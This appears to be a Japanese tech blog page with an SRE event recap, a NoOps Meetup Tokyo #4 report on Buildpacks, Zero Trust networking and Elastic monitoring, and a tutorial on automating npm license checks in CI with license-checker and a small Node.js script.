→SREチームの立ち上げにより、SREチームにはインフラや基盤型の開発を伸ばしたい人が集まりやすくなり、フロントエンドも同様に専用のスキルを持ったメンバーを集めやすくなった。本人のモチベーションと、仕事のアサインの問題。エンジニアリングマネジメントだー!
これによって採用計画も引きやすくなった & エンジニアのキャリア形成の計画も立てやすくなり、めっちゃよかった、とのこと。

SREsの採用についても言及。
まず転職エージェントにSREがなにかわかってもらうのが大変だったり、SREって新しいロールなので経験者が少ない+他社の経験者は重要なポジションをしているケースが多くて転職しにくい、など。

全体の感想など

他のイベントと比べて、タイムラインの流れが圧倒的に早かった!※AWS Summitなど規模が桁違いのものは除く
話を聞きながら頭で解釈、まとめてアウトプットしていく…というのが得意/好きな人もSREsの特徴なのかも?SREsは色んな人から色んな相談が寄せられがちだし、マルチタスク得意な人多そう。単にTwitter民が多いだけという話もある。

twitter.com

SRE の人ってメンションに反応する速度が常人の2倍くらいはやい気がする

🤗🤗🤗 わかる 🤗🤗🤗

今回は技術的な話はほぼなかったですが、他社がどういう背景でSRE立ち上げたのか、どのような取り組みをしているのか、何が課題でどういうことに気をつけているか、など一番聞きたいことが聞けて大満足でした。

twitter.com

NoOps Meetup Tokyo #4 イベント参加レポート

昨日、NoOpsMeetupのイベントに参加してきました! 1回目のスライドを偶然見つけてからずっと気になっていましたが、4回目の今回やっと参加できました。 ということで自分用メモ程度ですがまとめておきます。

noops.connpass.com

個人的にはロゴがポテチみたいで 食欲をそそる 可愛いですよね!

自分のtweetもみかえしながら。

No Ops Meetupとは

NoOps = No "Uncomfortable" Ops

NoOps Japanでは 「システム運用保守の"嬉しくないこと"をなくそう!」 をテーマに、 NoOpsを実現するための技術・設計手法・開発運用保守サイクル・ツールや考え方・事例などを共有していきたいと考えています。

今回のMeetupでも説明がありましたが、NoOps = Opsをなくすこと、ではなく、 "Uncomfortable" なことをなくすこと。

第一回目の話が Publickey さんの記事になっており、これがとても良かった。

www.publickey1.jp

オープニング

岡 大勝 @okahiromasa さんより

これまでの No Ops Meetup の振り返りと、目指すところについてのお話。
スライドは下記で公開されています!

www.slideshare.net

NoOps Japan Community では、NoOpsに関する

  • 知の共有: Meetup
  • ものづくり: Open Hack

活動をしていくと。Meetupの活動しか知らなかったですが、ツールやコネクタなどを開発して、OSSとして公開、Communityだけではなく業界に還元していこうという活動なんですね。

twitter.com

Meetupの登壇やNoOpsJPのOSSへのContributeなど、何らかの形でコミュニティに貢献するメンバーをサポーターと呼んでいるそうです。サポーターには、感謝としてサポート枠でのMeetup参加や、NoOps Japoan Tシャツの提供も。現在30名弱までサポーターが増えているそうです。
下記、NoOpsJapanのgithubリポジトリです。

github.com

続きまして、NoOpsのライフサイクルについての説明。やっぱりSRE活動と通じるものを感じる。

twitter.com

f:id:kusuwada:20190206170430p:plain
NoOps LifeCycle

Tweet内容の日本語訳、やっぱり結構違っていた。+真ん中にトイル削減が追加になっている。
今日の登壇はこのライフサイクルのどこに当たるのかのタグ付きで紹介されます。

Cloud Native BuildpackでToil減らしていこうという話 [Less Toil]

草間 一人 @jacopen さんより (Pivotal Japan)

スライドが下記で公開されました!

speakerdeck.com

関西的なノリで聞いてて面白かった。人前で発表する機会はここ数年増えてるけど、どうしてもかっちりしちゃうから見習いたいなぁ。

  • NoOpsの登壇オファーを受けたときにNoOpsを調べた感想: 「PaaSじゃん」
  • NoOpsMeetupに参加してみた感想: 「PaaSじゃん」

後の方の登壇内容にも出てきましたが、PaaSを使ったサービス開発・運用はNoOpsが解決したい問題の多くを解決してくれる。

今日の内容は、コンテナ開発運用のToil削減ってことになるかな?
コンテナ使っているところ増えてきてるけど、Dockerfileを造作もなく書ける人ってどれくらいいる?→ぐっと減るよね?

twitter.com

他、k8s manifestの作成なども。折角頑張ってDockerfile書いたとして、詳しい人がdisってきたり、それぞれのチームが同じようにDocekrfileを書いたりして、あれ?それって無駄じゃない?Toilじゃない?というお話に。

twitter.com

Buildpack使ったら、ワンコマンドで一発でイメージができるよ!自動だよ!

twitter.com

なんの言語で書かれたアプリかも自動で検出してくれる仕組み。
このデモ、なかなか便利そうだったのでBuildpack使ってみたくなった!持ち帰ってシェアしよう。

使っているpackageやbase imageなどに脆弱性があった場合、発見されるたびに開発者がDockerfileを書き換え、imageを作り直す作業をしないといけない。Opsメンバーがやればよいのか?というと、それも違う。
Opsチームが最新のBuildpackにアップデートし、開発者はBuildpackを再適用してイメージを再作成するというフローにすると、回しやすい。
ライフサイクルを意識すると、DockerfileよりBuildpackのほうが良さそう。

シンプルに考えよう Zero Trust Network [Safety]

吉松 龍輝 @ryukiyoshimatsu さんより (日本マイクロソフト)

スライドは下記に公開されています。

www.slideshare.net

お恥ずかしながら、Zero Trust Network というのを聞いたのが初めてだったので、入門編のお話ありがたかったです。

twitter.com

オライリー本、どれくらいの分厚さかな…。薄めだったら読んでみたいな…。しかし後で出てきた「入門 監視」も良さそうだった。

twitter.com

ここ、結構強いワードで衝撃だったんだけど、どこに置くか「だけが」重要ではなくなってきた、くらいに考えたほうが良さそう。
ここから暫く例えを用いた Zero Trust Network の解説。うーん、ますますちゃんと学んで正しく理解したほうが良い気がしてきた。

twitter.com

パッチが出てからパッチ当て・(多分テストするよね?)・リリース、までを1日以内に負えなければいけない、というのは最近のDevSecOps/セキュリティオートメーション、的な流れの中でもよく聞くやつ。
NoOps的な対処としては、PaaSを利用し、パッチ適用はベンダにおまかせする、と。
Meltdown/Spectreの例で、Azureは1日以内にAzure側で対応。そういえばAWSGCPも、結局うちもPaaSメインで使っているから自分たちで個別対応することはなかったかな。

twitter.com

Zero Trust Networkで実現する制約のないアプリケーションサービスともろもろ [Safety]

伊藤 悠紀夫 さんより (F5 Japan)

資料はこちらに公開されました!

www.slideshare.net

先の Zero Trust の発表では、密輸・戦争・オレオレ詐欺などに例えていたけど、この発表では城と城壁にたとえていました。城壁の中から崩壊することもあるよね、という文脈。(壁の中は安全とは限らない)

Zero Trustの考え方は、9年前にすでに提唱されていたそうです。

  • ネットワークは常に敵が潜んでいると考える
  • 通信・データが全て暗号化されていて、認証されている状態が理想

Zero Trust アーキテクチャの提言

  • 信頼度スコア: 複数の信頼指標によるアクセスコントロール。ID/Password認証で10pt, デバイス認証で10ptなど。与信に例えて説明されていました。
  • トラフィックのセキュリティ化

ネットワーク構成を考えるときは、内部のアクセスでも暗号化したまま443で。境界内は復号状態(80番)で、というのは古い考えらしい。
ということで、ZeroTrustの考え方にはSSLオフロードはそぐわない。

あとはAzureで提供しているPaaSの構成例の紹介など。
サービスメッシュ間のセキュリティの話になり、Istioの可視化ツールの紹介も。
AspenMesh: istioを無料で試せるサービス(Beta)
https://aspenmesh.io/

ちょっと休憩しながら聞いていたので本当にまとまらないメモになってしまっている…。スライド公開されないかしら。

Elastic Stackでマイクロサービス運用を楽にするには? [Observability]

大谷 純 @johtani さんより (Elastic)

Elasticの製品の宣伝が大分入っています、とのことでした(ノ≧ڡ≦)
スライドは下記に公開されています。

speakerdeck.com

twitter.com

ということで、コンサル/インフラ/開発/セキュリティ の4択でしたが、インフラ・開発メンバーが多かったようです。
マイクロサービスのモニタリングに関する話(と製品の紹介)がメインでした。

twitter.com

この話は本当によく聞きますよね。それをマネージするためにIstio入れたら、今度はIstioが毎回第一容疑者にされるとか。
モノリシックなシステムでももちろん監視は必要ですが、マイクロサービスになると監視対象も増えて結構監視用のシステムだけでも偉いことになったりしますよね。なのでこういう話は嬉しかったり。

twitter.com

Elasticの製品紹介。BeatsとかLogstashとかkibanaとかElasticSearchとか。たくさんある。
やはり人気は Kibana。みんな可視化好きだよね。
今回はAPM+Kibanaでのログ解析デモ。やっぱり見やすいのでデモ映えする!

twitter.com

TwitterのNoOpsタグTLも 入門 監視 の話題でもちきり。やはりこっちも読んでみなくては。
ちなみに、今ちょうどElastic製品使った構成のシステム構築中なので、ステッカーもらって帰った。

全体の感想など

twitter.com

140字制限により予選落ちしたパワーワード:

  • PaaSじゃん!
  • Zero Trust Networkは「ネットワークのどこに何を置くか」には価値がないという考え

twitter.com

使いたくなるツール・製品が見つかるだけでも来てよかったです。
自分のTweet拾ってレポート書くのも、参加したオフラインイベントのレポート書くのも初めてだったけど、復習になって良かった。

CIでOSSライセンスを自動チェック ~npm編2~

今日は下記の記事で紹介していた、CIでOSSライセンスを自動チェック、のnpm辺について、別のツールを使った方法を紹介します。

kusuwada.hatenablog.com

というのも、こちらの記事で紹介した grunt-license-report を職場で他のチームに導入しようとしたところ、同僚に「え、今更gruntとか将来性がなくね?このモジュール4年も更新されてないし」的なコメントを頂き、「あー、ツールの活性度とかあまり考えてなかったわ!」と反省したところなのでした。

そこで今回は、数あるnpmで管理されているライブラリのライセンスを収集するツールの中から、 license-checker を使ってCIに組み込むところまでをやってみます。

github.com

2019年2月現在、Star数781, Fork 111, last published が a month ago、つまり先月ってことで十分活発なOSSではないでしょうか!

OSS情報一覧を生成する

対象のリポジトリ構成は前回と同じにします。

.
├── app
│   ├── front
│   │   ├── main.js
│   │   ├── package.json
│   └── test
│       ├── package.json
│       └── sample_test.js
├── infra
└── tool
    └── license_check
        ├── license_config.yml
        └── npm
            ├── judge_npm_license.js
            └── package.json

ライセンスを確認したいモジュールは、 app/front/package.json の dependencies とします。※package.jsonの devDependencies は対象外とします。

tool 配下は今回のライセンスチェックのためのツールです。

まずは license-checker をglobalにinstallします。

$ npm install -g license-checker

app/front ディレクトリで、package.json に記載されたpackage(とそれが依存しているpackage)をinstallします。

$ npm install

あとは license-checker --production コマンドを走らせるだけです。
ここで --production を指定しなければ、devDependencies も対象になります。

$ license-checker --production
├─ accepts@1.3.5
│  ├─ licenses: MIT
│  ├─ repository: https://github.com/jshttp/accepts
│  ├─ path: /Users/natsumi/workspace/git/npm_license_ci/app/front/node_modules/accepts
│  └─ licenseFile: /Users/natsumi/workspace/git/npm_license_ci/app/front/node_modules/accepts/LICENSE
├─ array-flatten@1.1.1
│  ├─ licenses: MIT
│  ├─ repository: https://github.com/blakeembrey/array-flatten
│  ├─ publisher: Blake Embrey
│  ├─ email: hello@blakeembrey.com
│  ├─ url: http://blakeembrey.me
│  ├─ path: /Users/natsumi/workspace/git/npm_license_ci/app/front/node_modules/array-flatten
│  └─ licenseFile: /Users/natsumi/workspace/git/npm_license_ci/app/front/
~~(中略)~~
node_modules/xml2js/LICENSE
└─ xmlbuilder@9.0.7
   ├─ licenses: MIT
   ├─ repository: https://github.com/oozcitak/xmlbuilder-js
   ├─ publisher: Ozgur Ozcitak
   ├─ email: oozcitak@gmail.com
   ├─ path: /Users/natsumi/workspace/git/npm_license_ci/app/front/node_modules/xmlbuilder
   └─ licenseFile: /Users/natsumi/workspace/git/npm_license_ci/app/front/node_modules/xmlbuilder/LICENSE

こんな感じでだーーーーっと出力されます。
実行時のOptionで、開発用のpackageのみを対象にしたり、推測によるライセンス出力をすべてunknownと出力させたり、出力形式をjsoncsvにしたりできます。Optionの詳細はこちらを参照

--unknown optionは、個人的には安全側に倒すために入れておいたほうが良さそうかなーと思います。

csv形式で出力するとこんな感じ。非常に見やすいですね。

f:id:kusuwada:20190206113555p:plain
csv_output

今回、このファイルは下記のようにして作成、出力しています。

$ license-checker --production --csv --out report/licernses.csv --unknown

許可していないライセンスのOSSがないかをチェック

ここからはCIに組み込んだりして、許可していないライセンスのOSSがないかをチェックします。

上記で tool 配下に配置されているライセンスチェックのためのスクリプト群の中身はこんな感じ。

license_config.yml

# 許可するライセンスのリスト。以下のリストは例。
allowed:
  - MIT
  - Apache-2.0
  - BSD-3-Clause
  - ISC
  - Apache 2.0

# 許可するライセンス一覧にはないが、ライセンスに問題が無いことが確認できたライブラリ
reviewed:
  npm:
    - hogehoge
  pip:
    - hogehoge

# チェック対象外のライブラリ
ignored:
  npm:
    - my-app # my-app
  pip:
    - my-app # my-app

tool/license_check/npm/package.json

{
  "name": "grunt-license-tools",
  "version": "0.0.0",
  "license": "UNLICENSED",
  "dependencies": {},
  "devDependencies": {
    "fs": "latest",
    "js-yaml": "latest"
  },
  "private": true
}

tool/license_check/npm/judge_npm_license.js

/********************************************************************
* 説明
* ==========
*
* license-checker で作成したライセンス一覧ファイル(csv)をパースし、
* 指定されたconfigファイルで許可されていないライセンスのライブラリがないかをチェックします。
* ※csv形式のファイル出力オプション付き license-checker コマンド
* license-checker --csv --out {report_file_name}.csv
*
* パラメータ
* ==========
*
* 1. パース対象のlicense一覧 csv ファイルパス
*    license-checker で作成したライセンス一覧ファイルのパス
*    e.g.) report/licenses.csv
* 
* 2. configファイルパス
*    使用を許可するライセンスや、確認済みのライブラリの設定が書かれたconfig fileのパス
*    e.g.) license_check_config.yml
*
* 返却値
* ==========
*
* exit 0: warningなしの場合
* exit 1: warningありの場合
*
********************************************************************/

const fs = require('fs');
const yaml = require('js-yaml')

if (process.argv.length < 4) {
    throw new Error('Insufficient number of arguments.');
}

const target_path = process.argv[2];
const config_path = process.argv[3];

var lines = fs.readFileSync(target_path, 'utf-8');

let libraries = {};
let warnings = {};

for (line of lines.split('\n')) {
    let project_name = ''
    name_with_version = line.split(',')[0].replace(/\"/g,'');
    library_name = name_with_version.split('/').pop().split('@')[0];
    if (library_name != 'module name') {
        license = line.split(',')[1].replace(/\"/g,'');
        libraries[library_name] = license;
    }
};

const config = yaml.safeLoad(fs.readFileSync(config_path), 'utf-8')

Object.keys(libraries)
    .filter(key => !config.allowed.includes(libraries[key]))
    .filter(key => !config.reviewed.npm.includes(key))
    .filter(key => !config.ignored.npm.includes(key))
    .forEach(key => {
        warnings[key] = libraries[key]
    });

// result
console.log('warnings: ')
console.log(warnings)
const result = 'RESULT: ' + Object.keys(libraries).length + ' dependencies checked, ' + Object.keys(warnings).length + ' warnings found.'
console.log(result)


// judge
if (Object.keys(warnings).length > 0) {
    console.log('license check failed.')
    process.exit(1)
}

必要なモジュールをinstallして、スクリプトを実行します。

$ cd tool/license_check/npm
$ npm install
$ node judge_npm_license.js ../../../app/front/report/licenses.csv ../license_config.yml 

実行結果(例)

warnings: 
{ argv: 'MIT*',
  atob: '(MIT OR Apache-2.0)',
  'css-select': 'BSD-like',
  domutils: 'BSD*',
  'my-app': 'UNKNOWN' }
RESULT: 290 dependencies checked, 5 warnings found.
license check failed.

warningが1つでもあれば異常終了、0件で正常終了します。
今回は特殊な書き方のライセンスが見つかっているので、一つ一つチェックし、問題なければ設定ファイル (license_check_config.yml) の allowed, reviewed, ignored の適切な箇所に追記します。
すべてのライセンスが問題なし、もしくはレビュー済・対象外になっている場合、下記のような出力になります。

warnings: 
{}
RESULT: 290 dependencies checked, 0 warnings found.

まとめ

今回は、license-checkerを使って、npmで管理されているOSSライブラリのライセンスに問題ないかを確認する方法を紹介しました。また、これをCIに組み込むなどして、自動でチェックする際に利用できるスクリプト群を紹介しました。
前回紹介した grunt-license-report と比較して、今回のpackage.jsonでは特に精度・パフォーマンス的な違いは見られませんでしたが、同僚からのアドバイスの通り、license-checkerのほうがよく使われている・メンテナンスがされている、という点でおすすめです。

関連記事

kusuwada.hatenablog.com kusuwada.hatenablog.com kusuwada.hatenablog.com kusuwada.hatenablog.com